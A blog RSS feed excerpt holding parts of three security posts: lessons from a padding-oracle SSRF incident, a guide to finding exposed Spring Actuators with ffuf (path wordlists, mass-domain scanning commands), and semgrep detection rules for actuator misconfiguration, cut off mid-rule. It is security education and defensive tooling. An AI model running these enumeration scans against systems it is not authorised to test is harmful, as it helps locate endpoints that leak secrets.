<p>Authenticating the ciphertext (and IV!) would have prevented this entire attack, rendering all the following points moot.</p>
<h3 id="heading-no-url-target-checks">No URL Target Checks</h3>
<p>A major tool for preventing server-side request forgery is to check the accessed domain by parsing it (using a dedicated URL parser that understands the structure of URLs) and matching the target domain of the request against a list of allowed domains. Done correctly, this can completely prevent SSRF attacks (although it is admittedly <a target="_blank" href="https://www.youtube.com/watch?v=D1S-G8rJrEk">hard to do correctly</a>). However, since the data was assumed to be trustworthy due to the use of encryption, no such protections were in place.</p>
<p>However, even if outgoing requests had been restricted to the domain of the API gateway, the more advanced padding oracle attacks (linked above) would have allowed making arbitrary changes to the requested path, and at least made it possible to access arbitrary GET endpoints and retrieve the results, which could lead to data leaks. So, while this would have made the attack less severe, it would have still been damaging.</p>
<h3 id="heading-allowing-outbound-traffic">Allowing Outbound Traffic</h3>
<p>Another seemingly trivial question is: why is the BFF even allowed to contact servers that aren’t the API gateway? Its only job is to access the API gateway, so access to the internet at large would not be necessary and could be prevented using firewall rules. This would have prevented the request to the attackers server from being made, and thus the access token from being leaked.</p>
<h3 id="heading-lack-of-network-segmentation">Lack of Network Segmentation</h3>
<p>However, the network situation is even worse in practice: The system architecture actually places the firewall behind the <em>API gateway,</em> not the BFF, meaning that I can access the API gateway from the open internet. This allows me to actually use my access token to authenticate against the API gateway and make arbitrary requests with it.</p>
<h3 id="heading-overprivileged-tokens">Overprivileged Tokens</h3>
<p>Additionally, it turns out that the access token was the same for all requests made by the BFF. This was done so that the token could be cached and the BFF didn’t have to obtain a new access token from the IDM for every request, thereby reducing load on the IDM and decreasing latency. This is a valid architectural choice, but it means that for any given request to the API gateway, the token is overprivileged, as it always contains the roles necessary to access all API endpoints used by the BFF, not just the one it is currently accessing. So, our stolen access token is not just valid for the file download endpoint, but also to the ones for querying customers and orders, crediting customer accounts with refunds, and many more. We call these tokens “god tokens”, as they have practically unlimited power, and losing one of them is often catastrophic.</p>
<h3 id="heading-no-trustworthy-audit-logs">No Trustworthy Audit Logs</h3>
<p>This also means that the API gateway cannot determine which specific user is actually using the system right now - it only sees a generic access token. This makes the BFF the only instance that can enforce user-based permissions and maintain trustworthy audit logs about which user performed what action. Other services had to rely on the representations made by the BFF, which would include information about the users’ identity (for audit logging), but which could be trivially changed if we are accessing the API gateway directly, as this identity is not cryptographically signed. So, not only could I take arbitrary actions, I could also place the blame for them on arbitrary employees by including their identity in the requests.</p>
<h2 id="heading-what-can-we-learn-from-this">What Can We Learn From This?</h2>
<p>There are probably a lot more things that I could mention here, but this article is already getting out of hand, so let’s wrap up. What can we learn from this? Well, first of all, I hope that if you take just one thing from this, it is this: authenticate your ciphertexts. But if you take a second thing from it: architecture matters! The way you separate your system into different components, decide which component is responsible for what, and which of them are allowed to talk to each other, matters! Reducing the access that each service has, matters! Getting this wrong may not, in isolation, lead to a security incident, but it will make any incident caused by errors in implementation, vulnerable dependencies, or whatever other reason, much worse.</p>
<p>Defense in depth can be a powerful tool to reduce the blast radius of any single vulnerability you have. These things are often easiest to find by conducting a threat modeling session with an experienced security team. However, if this isn’t possible for you, simpler methods for threat modeling exist that do not rely on having an experienced security professional on staff (I recommend the <a target="_blank" href="https://shostack.org/files/papers/Fast-Cheap-and-Good.pdf">“Threat Modeling Fast, Cheap and Good” whitepaper by Adam Shostack</a> for more on this).</p>
<p>The bad news is: Building 100% secure systems is hard. But the good news is: building systems that don’t immediately fall apart when a single vulnerability is discovered is actually a lot easier. Keep Defense in Depth in mind during design and implementation. Think about what would happen if any one of your assumptions is invalid, then design countermeasures for that - just in case. Most of them will never get tested, but if they do, you’ll be glad you spent the time.</p>
<h2 id="heading-acknowledgements">Acknowledgements</h2>
<p>This article (<a target="_blank" href="https://media.ccc.de/v/gpn21-160-wie-man-mit-mathematik-ein-api-bernehmen-kann-und-wie-gute-architektur-das-verhindert-">and the german-language conference talk it is based on</a>) would not be the way they are today if it hadn’t been for my (now former) team lead at iteratec, Robert Felber, and for my colleagues from our internal security community. I was presenting an early version of the talk at our internal meetup, and after I described the initial architecture of the system he interrupted me and asked a very simple question: “Is this actually a good architecture?”. This question and the subsequent discussion completely changed how I looked at this vulnerability, and turned it from an entertaining cryptographic bug into a lesson in defensive system design.</p>
]]></content:encoded></item><item><title><![CDATA[Spring Actuator Security, Part 3: Finding Exposed Actuators using Dynamic Testing with ffuf]]></title><description><![CDATA[This is part three of a series on the security implication of Spring Actuators. I recommend having read at least the first part to understand the context.

In the previous article, we discussed how you can leverage static code analysis using semgrep ...]]></description><link>https://blog.maass.xyz/spring-actuator-security-part-3-finding-exposed-actuators-using-dynamic-testing-with-ffuf</link><guid isPermaLink="true">https://blog.maass.xyz/spring-actuator-security-part-3-finding-exposed-actuators-using-dynamic-testing-with-ffuf</guid><category><![CDATA[DAST]]></category><category><![CDATA[Security]]></category><category><![CDATA[Java]]></category><category><![CDATA[Springboot]]></category><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[Max Maass]]></dc:creator><pubDate>Fri, 09 Dec 2022 15:08:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662712563498/RBnDBa86S.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>This is part three of a <a target="_blank" href="https://blog.maass.xyz/series/spring-actuator-security">series</a> on the security implication of <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html">Spring Actuators</a>. I recommend having read at least the <a target="_blank" href="https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators">first part</a> to understand the context.</p>
</blockquote>
<p>In the previous article, we discussed how you can <a target="_blank" href="https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep">leverage static code analysis using semgrep to detect misconfigured Spring Actuators</a>. However, you may not always have access to the source code of the application: maybe you want to know if you have exposed actuators somewhere in your corporate network. Or maybe you are a bug bounty hunter and want to check if there are juicy actuators that you can get your hands on.</p>
<p>In any case, being able to find a URL to access and point at and say "look, there's an exposed actuator right there, do something about it" can be a much better call to action than an abstract "I found this weird thing in your code, can you take a look?". So, let's talk about catching actuators in the act.</p>
<p>We will be using the <a target="_blank" href="https://github.com/malexmave/blog-spring-actuator-example">vulnerable demo application I provide on GitHub</a> as an example for the rest of this blog post. It provides the actuators endpoint on <code>http://localhost:8081/actuator</code>. If you want to follow along at home, now is a good time to set it up.</p>
<h2 id="heading-finding-actuators-using-your-browser">Finding Actuators Using Your Browser</h2>
<p>The most basic approach for finding exposed actuators is to do so by hand. Trivially, you can simply visit a website running Spring and try to access <code>/actuator/</code> to see what happens. If actuators are enabled and the default path wasn't changed, it will show you the list of active endpoints. Easy.</p>
<p>However, it is fairly easy to miss something with this approach. Maybe the actuators are living under a different base path. Or maybe the actuators are running on a different port. Clearly, this approach has its limitations. So, like any good engineer, let's start looking at how this process can be improved.</p>
<h2 id="heading-automatically-querying-many-urls-for-actuators">Automatically Querying Many URLs for Actuators</h2>
<p>The first thing we may want to do is to automate the process of checking these URLs. For this, I prefer to use the swiss army knife of request generators, <a target="_blank" href="https://github.com/ffuf/ffuf">ffuf</a>. Written in Go, it is a lightning fast tool for sending lots of HTTP requests based on patterns you provide, and filtering the responses to show you only those you are interested in.</p>
<p>To demonstrate a simple example: Here's how we can check our demo application at <code>http://localhost:8081/</code> using ffuf:</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">echo</span> actuator &gt; endpoints.txt
$ ffuf -w endpoints.txt:PATH -u http://localhost:8081/PATH
</code></pre>
<p>In the first command, we create a file containing the string "actuator" on a single line. With the second command, we invoke ffuf, tell it to use the word list "endpoints.txt" and alias it to PATH, and to generate and query one URL for each line in the endpoints.txt file, replacing PATH with the line from the file. The output looks like this:</p>
<pre><code class="lang-text">
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://localhost:8081/PATH
 :: Wordlist         : PATH: endpoints.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

actuator                [Status: 200, Size: 1758, Words: 1, Lines: 1, Duration: 99ms]
:: Progress: [1/1] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
</code></pre>
<p>ffuf tells us that by templating the value "actuator" into the URL, it received a response with the HTTP response code 200, with a size of 1758 bytes. This does not guarantee that actuators are actually running there, but it's a good first indicator that we should be taking a closer look.</p>
<p>Now, sometimes system operators try to be clever and move the actuator endpoint to a different URL - maybe they integrate them into an existing URL scheme, or maybe they are just sick of people scraping their systems (<em>cough</em>) and want to make it a bit harder to find. This is where ffuf can start to really help us. For example, let's say we have a list of commonly used alternative actuator base URLs - for example, by going through public code repositories and looking at how they are using the <code>management.endpoints.web.base-path</code> setting. We may end up with something like this:</p>
<pre><code class="lang-bash">$ cat endpoints.txt
actuator
actuators
admin
manage
management
manager
metrics
analytics
internal
internal/actuator
api
api/system
api/v1/system
api/manage
api/v1/manage
api/internal
api/internal/actuator
v1/system
v1/actuator
v1/actuators
v1/manage
</code></pre>
<p>Given this list, we can easily check if any of these endpoints is available on the server using ffuf, using the same command as above. For example, if we change the actuator base path in the demo application to <code>internal</code> and run the wordlist against it, we get:</p>
<pre><code class="lang-plaintext">        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://localhost:8081/PATH
 :: Wordlist         : PATH: endpoints.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

internal                [Status: 200, Size: 1758, Words: 1, Lines: 1, Duration: 144ms]
:: Progress: [21/21] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
</code></pre>
<p>ffuf just generated all the requests for us, and only returned those that returned an HTTP status code that indicated something interesting (by default: <code>200,204,301,302,307,401,403,405,500</code>, as shown above).</p>
<h2 id="heading-scanning-many-pages">Scanning Many Pages</h2>
<p>So far, we have only scanned a single page - but maybe your engagement covers a large number of (sub)domains, and you want to check all of them. Or you collected a list of subdomains for Bug Bounty hunting using a tool like <a target="_blank" href="https://github.com/OWASP/Amass">amass</a>. In any case, let's assume that the (sub)domains are in a file called domains.txt.</p>
<pre><code class="lang-bash">$ cat domains.txt
domain.com
sub1.domain.com
sub2.domain.com
[... etc ...]
</code></pre>
<p>ffuf will help you scan all combinations of domains and endpoints quite easily:</p>
<pre><code class="lang-bash">$ ffuf -w endpoints.txt:PATH -w domains.txt:DOMAIN -u http://DOMAIN/PATH
</code></pre>
<p>Here, ffuf will combine all domains from <code>domains.txt</code> with all endpoints listed in <code>endpoints.txt</code>, and request them all. Note that the number of requests can explode quite quickly, since it means you are sending <code>len(endpoints) * len(domains)</code> requests.</p>
<p>However, it also reveals a potential issue: Since ffuf will only filter based on response code at the moment, you will likely get quite a number of false positives. But we don't want to waste our time checking hundreds of false positives! Can't we do anything to narrow it down a bit more?</p>
<p>Actually, we can.</p>
<h2 id="heading-anatomy-of-the-actuators-endpoint">Anatomy of the Actuators Endpoint</h2>
<p>First, let's take a look at what the actuator response looks like. With all actuators enabled, accessing <code>/actuator</code> on the application results in a response like this:</p>
<pre><code class="lang-json">{
   <span class="hljs-attr">"_links"</span>:{
      <span class="hljs-attr">"self"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">false</span>
      },
      <span class="hljs-attr">"beans"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator/beans"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">false</span>
      },
      <span class="hljs-attr">"caches-cache"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator/caches/{cache}"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">true</span>
      },
      <span class="hljs-comment">/* a bunch more lines like this */</span>
      <span class="hljs-attr">"mappings"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator/mappings"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">false</span>
      }
   }
}
</code></pre>
<p>If we change the configuration to only enable the health check actuator (the default), the result is shorter:</p>
<pre><code class="lang-json">{
   <span class="hljs-attr">"_links"</span>:{
      <span class="hljs-attr">"self"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">false</span>
      },
      <span class="hljs-attr">"health"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator/health"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">false</span>
      },
      <span class="hljs-attr">"health-path"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator/health/{*path}"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">true</span>
      }
   }
}
</code></pre>
<p>And even if we disable all actuator endpoints (by removing the "include" setting and configuring <code>management.endpoints.web.exposure.exclude="health"</code>), we still get a response on <code>/actuator</code> that looks like this:</p>
<pre><code class="lang-json">{
   <span class="hljs-attr">"_links"</span>:{
      <span class="hljs-attr">"self"</span>:{
         <span class="hljs-attr">"href"</span>:<span class="hljs-string">"http://localhost:8081/actuator"</span>,
         <span class="hljs-attr">"templated"</span>:<span class="hljs-literal">false</span>
      }
   }
}
</code></pre>
<p>(While this response does not indicate any direct danger, it can still be interesting in a black-box engagement, as it tells you that the application is running Spring.)</p>
<p>Looking at these responses, we can see that the response will always start with the <code>_links</code> key in the JSON, which in turn will always start with the <code>self</code> key. So, this seems like a good indicator to use when building our automation.</p>
<h2 id="heading-filtering-responses-with-ffuf">Filtering Responses with ffuf</h2>
<p>With this knowledge, we can start using the filtering functionality of ffuf. Briefly, you can tell it that a response must contain specific strings (using matchers), or inversely, <em>cannot</em> contain them (using filters). Using the knowledge about actuators, let's write a matcher that requires the response to contain the string <code>{"_links":{"self":</code> :</p>
<pre><code class="lang-bash">$ ffuf -w endpoints.txt:PATH -w domains.txt:DOMAIN -mr <span class="hljs-string">'{"_links":{"self":'</span> -u http://DOMAIN/PATH
</code></pre>
<p>With this command, ffuf will only return responses that contain this substring, significantly cutting down on false positive results. You can also refine this further using additional matchers and filters, if you find that you are still getting too many incorrect responses. While this will likely not be necessary for this use case, in other situations, being able to filter based on response size or HTTP response code could be the more fruitful approach.</p>
<h2 id="heading-other-options-and-why-you-should-still-use-ffuf">Other Options, and Why You Should Still Use ffuf</h2>
<p>Of course, you can also use existing tools to find actuators - <a target="_blank" href="https://github.com/zaproxy/zap-extensions/blob/8219b0b8ad8c002b3d7c906f26087935ba040d5e/addOns/ascanrulesBeta/src/main/java/org/zaproxy/zap/extension/ascanrulesBeta/SpringActuatorScanRule.java">ZAP has an active scan rule</a> for it, and <a target="_blank" href="https://github.com/clarkvoss/Nuclei-Templates/blob/main/Actuator.yaml">Nuclei as well</a>. So, why bother with ffuf?</p>
<p>Well, the existing Nuclei and ZAP rules are quite limited - they will not find actuators that are located on a different endpoint than /actuator (in the case of Nuclei), or only check for the /actuator/health endpoint (in the case of ZAP). So, you will likely miss a lot of potential targets when using them.</p>
<p>More importantly, I prefer to understand how my workflows are working and how I can tweak them. With ffuf, I have full control over the requests and can craft them however I need them. Add an authentication header (or a header required by the bug bounty program)? Sure, let's just add <code>-H "Authorization: Bearer ...</code> to the call. Or a cookie? <code>-b "CookieName=value CookieName2=value2"</code>. Record the responses you receive? <code>-od /path/to/folder</code>.</p>
<p>ffuf is my swiss army knife for creating lots of HTTP requests, and I believe that it deserves a place in the toolbox of any security tester dealing with HTTP - regardless of if you want to use it for fuzzing, enumeration, or recon. This article only scratches the surface, and does not even mention features like <a target="_blank" href="https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html#recursion">recursion</a>, or using <a target="_blank" href="https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html#extensions">extensions</a> for your wordlists. If you want to know more, I recommend the epic tome of knowledge aptly named "<a target="_blank" href="https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html">Everything you need to know about ffuf</a>" by <a target="_blank" href="https://twitter.com/codingo_">Codingo</a> and p4fg as a starting point.</p>
<p><em>Once again, I would like to thank the Security Community at my employer,</em> <a target="_blank" href="https://iteratec.com">iteratec</a><em>, for their helpful input on this issue.</em></p>
]]></content:encoded></item><item><title><![CDATA[Spring Actuator Security, Part 2: Finding Actuators using Static Code Analysis with semgrep]]></title><description><![CDATA[In the first part of this series, we have discussed the risks inherent in exposing the Actuator functionality of the Spring framework. If you haven't read that part yet, I recommend that you do so before reading this article. 

In this article, we wi...]]></description><link>https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep</link><guid isPermaLink="true">https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep</guid><category><![CDATA[Security]]></category><category><![CDATA[Springboot]]></category><category><![CDATA[Java]]></category><category><![CDATA[semgrep]]></category><category><![CDATA[SAST]]></category><dc:creator><![CDATA[Max Maass]]></dc:creator><pubDate>Wed, 14 Sep 2022 09:15:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1663051161410/h8pNtJNYt.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>In <a target="_blank" href="https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators">the first part of this series</a>, we have discussed the risks inherent in exposing the <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html">Actuator</a> functionality of the <a target="_blank" href="https://spring.io/">Spring</a> framework. If you haven't <a target="_blank" href="https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators">read that part</a> yet, I recommend that you do so before reading this article. </p>
</blockquote>
<p>In this article, we will discuss how we can detect exposed <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html">Spring Actuators</a> in an application that you have source code access to. We will begin with manual steps, and then look at how you can automate the process using static security testing tools (dynamic testing will be covered in part 3 of the series).</p>
<h2 id="heading-manually-looking-for-exposed-actuators">Manually Looking for Exposed Actuators</h2>
<p>The most basic method of finding dangerous actuators is to use... your eyeballs. If you have access to the application source code, you can look at the Spring configuration files to check if actuators are enabled, and how they are configured. Begin by checking the <code>.properties</code> file(s) (or the respective <code>.yaml</code> equivalents) where the Spring configuration is stored. Recall that the list of active actuators is controlled with the following key:</p>
<pre><code class="lang-txt"># Generic configuration for actuator endpoints, in this case
# activating two endpoints: health and prometheus
management.endpoints.web.exposure.include=health,prometheus
</code></pre>
<p>This setting controls which endpoints are exposed over the web. Individual endpoints can also be <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints.enabling">completely disabled</a> by setting <code>management.endpoints.$ACTUATOR.enabled=false</code> - as a rule of thumb, I would recommend inspecting everything in the <code>management</code> category and see if any dangerous endpoints are being activated, and if so, if mitigations (authentication requirements, ...) are already in place.</p>
<p>(All examples in this article are targeting the current version of Spring - older versions may use a different configuration syntax, or even (in the case of Spring 1.X) expose all actuators by default. Adapt what you read to your version of Spring, if necessary.)</p>
<h2 id="heading-automating-the-search-using-semgrep">Automating the Search Using Semgrep</h2>
<p>Checking the code manually isn't always feasible. Maybe you are part of a security team that is responsible for a large set of software repositories, or maybe you want to add a check for dangerous actuators to your CI, to ensure that they aren't inadvertently activated a few weeks down the line.</p>
<p>For these cases, let me introduce you to my favourite static code analysis tool: <a target="_blank" href="https://semgrep.dev/">semgrep</a>. It's a free Open Source tool that you can install and use right now (it only starts costing money if you want to use their dashboard to view the results, which is entirely optional, and all code scanning runs on your device - code is never uploaded to any servers). Stated briefly, semgrep searches for code matching specific patterns, taking the semantics of the code into account (hence, <strong>sem</strong>antic <strong>grep</strong>). You can use it for security checks based on <a target="_blank" href="https://semgrep.dev/r">a large set of detection rules curated by the semgrep community</a>, but where it really shines is when you start writing rules for your own use cases.</p>
<h2 id="heading-the-basic-case-all-actuators">The Basic Case: All Actuators</h2>
<p>Semgrep rules are fairly easy to wrap your head around, so let's build one for our <a target="_blank" href="https://github.com/malexmave/blog-spring-actuator-example">example application</a> from the previous part of this series. To be able to showcase some of the capabilities of semgrep, we'll be using the YAML configuration syntax for Spring. This is what a basic vulnerable Spring configuration could look like:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">management:</span>
  <span class="hljs-attr">endpoints:</span>
    <span class="hljs-attr">web:</span>
      <span class="hljs-attr">exposure:</span>
        <span class="hljs-comment"># Activate all Actuators (this is a bad idea!)</span>
        <span class="hljs-attr">include:</span> <span class="hljs-string">"*"</span>
        <span class="hljs-comment"># Alternative syntax would be:</span>
        <span class="hljs-comment"># include:</span>
        <span class="hljs-comment">#   - "*"</span>
</code></pre>
<p>Semgrep patterns are also specified in YAML files. Here's an annotated semgrep rule to find this case, with explanations what the components are doing.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># The rules file must begin with this top-level element, followed </span>
<span class="hljs-comment"># by a list of rules</span>
<span class="hljs-attr">rules:</span>
  <span class="hljs-comment"># Every rule must have a unique ID</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">spring-actuator-fully-enabled</span>
    <span class="hljs-comment"># Now, we define which pattern we are looking for. In this </span>
    <span class="hljs-comment"># case, we want to match both of the possible syntaxes for </span>
    <span class="hljs-comment"># activating all actuators, so we use a pattern-either as a </span>
    <span class="hljs-comment"># top-level element. This tells semgrep that it should match </span>
    <span class="hljs-comment"># if at least one of the rules specified below matches the </span>
    <span class="hljs-comment"># code.</span>
    <span class="hljs-attr">pattern-either:</span>
      <span class="hljs-comment"># The first pattern specifies the string syntax for the </span>
      <span class="hljs-comment"># wildcard actuator setting.</span>
      <span class="hljs-comment"># Note the frequent use of ... in the rule. This tells </span>
      <span class="hljs-comment"># semgrep "I don't care if there is other stuff here, </span>
      <span class="hljs-comment"># keep searching until you find the next specified </span>
      <span class="hljs-comment"># part". If we omitted them, semgrep would not match if </span>
      <span class="hljs-comment"># any non-specified elements are in the YAML tree, even </span>
      <span class="hljs-comment"># if the pattern we are looking for is *also* in there.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">pattern:</span> <span class="hljs-string">|
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: "*"
</span>      <span class="hljs-comment"># Specify the second rule that matches the second way of </span>
      <span class="hljs-comment"># defining the actuator activation.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">pattern:</span> <span class="hljs-string">|
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include:
                    ... 
                    - "*"
</span>    <span class="hljs-comment"># Specify the message that should be shown if the rule matches</span>
    <span class="hljs-attr">message:</span> <span class="hljs-string">Spring</span> <span class="hljs-string">Boot</span> <span class="hljs-string">Actuator</span> <span class="hljs-string">is</span> <span class="hljs-string">fully</span> <span class="hljs-string">enabled.</span> <span class="hljs-string">This</span> <span class="hljs-string">exposes</span>
      <span class="hljs-string">sensitive</span> <span class="hljs-string">endpoints</span> <span class="hljs-string">such</span> <span class="hljs-string">as</span> <span class="hljs-string">/actuator/env,</span> <span class="hljs-string">/actuator/logfile,</span> 
      <span class="hljs-string">/actuator/heapdump</span> <span class="hljs-string">and</span> <span class="hljs-string">others.</span> <span class="hljs-string">Unless</span> <span class="hljs-string">you</span> <span class="hljs-string">have</span> <span class="hljs-string">Spring</span> 
      <span class="hljs-string">Security</span> <span class="hljs-string">enabled</span> <span class="hljs-string">or</span> <span class="hljs-string">another</span> <span class="hljs-string">means</span> <span class="hljs-string">to</span> <span class="hljs-string">protect</span> <span class="hljs-string">these</span> <span class="hljs-string">endpoints,</span> 
      <span class="hljs-string">this</span> <span class="hljs-string">functionality</span> <span class="hljs-string">is</span> <span class="hljs-string">available</span> <span class="hljs-string">without</span> <span class="hljs-string">authentication,</span> 
      <span class="hljs-string">causing</span> <span class="hljs-string">a</span> <span class="hljs-string">severe</span> <span class="hljs-string">security</span> <span class="hljs-string">risk.</span>
    <span class="hljs-comment"># Activating all actuators is dangerous, so we set the severity </span>
    <span class="hljs-comment"># to ERROR. This means that it could potentially fail a build, </span>
    <span class="hljs-comment"># if we ran this as part of a CI job.</span>
    <span class="hljs-attr">severity:</span> <span class="hljs-string">ERROR</span>
    <span class="hljs-comment"># Tell semgrep that the rule is for the YAML language. This </span>
    <span class="hljs-comment"># will automatically cause it to only be evaluated for YAML </span>
    <span class="hljs-comment"># files.</span>
    <span class="hljs-attr">languages:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">yaml</span>
</code></pre>
<p>This is already quite a handy rule to quickly audit a large codebase for an obvious misconfiguration. To run it, save it in a file, and then run it with semgrep like this:</p>
<pre><code class="lang-txt">$ semgrep -c path/to/semgrep-rule.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:

  src/main/resources/application.yml 
     src.main.resources.spring-actuator-fully-enabled
        Spring Boot Actuator is fully enabled. This exposes sensitive
        endpoints such as /actuator/env, /actuator/logfile,
        /actuator/heapdump and others. Unless you have Spring Security
        enabled or another means to protect these endpoints, this
        functionality is available without authentication, causing a severe
        security risk.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       stuff:
          8┆         - "Nonsense"
          9┆       exposure:
         10┆         include: "*"
         11┆
</code></pre>
<p>Note that it outputs the entire matched area of the code for inspection. It also did not have any problems with the commented-out section, or with the other YAML keys I added to the config file. Pretty neat, and something that would be difficult to achieve with a regular <code>grep</code> call.</p>
<h2 id="heading-matching-specific-actuators">Matching Specific Actuators</h2>
<p>The example above is already quite handy, but it only checks for the wildcard operator. Where semgrep really starts to shine is if we encounter a configuration like this:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">management:</span>
  <span class="hljs-attr">endpoints:</span>
    <span class="hljs-attr">web:</span>
      <span class="hljs-attr">exposure:</span>
        <span class="hljs-attr">include:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"health"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"prometheus"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"logfile"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"env"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"heapdump"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"togglz"</span>
</code></pre>
<p>Now, for the sake of argument, let's say you are fine with exposing your health endpoint (which can be reasonable in some situations), and you also find it acceptable to expose the Prometheus metrics (I wouldn't recommend it, but you do you). All other actuators should be disabled. But how can we check this using semgrep? </p>
<p>Fairly easily, it turns out. Semgrep has a powerful feature called "Metavariables", which allows you to pull specific parts of the code into a variable that you can then reuse in other parts of the rule. Normally, this would be used to track variables or function names while analyzing source code. However, we can also use it to pull out the list of activated actuators and match them against a list of known-accepted actuators. Here's an annotated rule that does this:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">spring-actuator-dangerous-endpoints-enabled</span>
    <span class="hljs-comment"># This time, our top-level pattern operator is "patterns" </span>
    <span class="hljs-comment"># (instead of pattern-either), which means that all patterns </span>
    <span class="hljs-comment"># below need to match for the entire rule to produce a match.</span>
    <span class="hljs-attr">patterns:</span>
      <span class="hljs-comment"># First, we mostly reuse the existing pattern to get down to </span>
      <span class="hljs-comment"># the level of the activated actuators. However, once we </span>
      <span class="hljs-comment"># reach it,  we pull the actuators into a metavariable called </span>
      <span class="hljs-comment"># $ACTUATOR. The rule will be evaluated once for every </span>
      <span class="hljs-comment"># actuator in the list, meaning that we can produce more than </span>
      <span class="hljs-comment"># one finding. Note the use of ... inside the </span>
      <span class="hljs-comment"># include: [..., $ACTUATOR, ...]. This is used to indicate </span>
      <span class="hljs-comment"># that the actuator can be in any location inside the list. </span>
      <span class="hljs-comment"># If we were to write [$ACTUATOR, ...], we would only match </span>
      <span class="hljs-comment"># the first in the list.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">pattern:</span> <span class="hljs-string">|
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
</span>      <span class="hljs-comment"># Now comes the magic part :)</span>
      <span class="hljs-comment"># The metavariable-comparison operator allows us to pull </span>
      <span class="hljs-comment"># in a metavariable and compare it using a python comparison </span>
      <span class="hljs-comment"># operator. In this case, we explicitly cast the actuators to </span>
      <span class="hljs-comment"># strings, and  then compare them to the list of actuators </span>
      <span class="hljs-comment"># we want to allow.</span>
      <span class="hljs-comment"># Note that the "not VAR in LIST" syntax is due to a bug in</span>
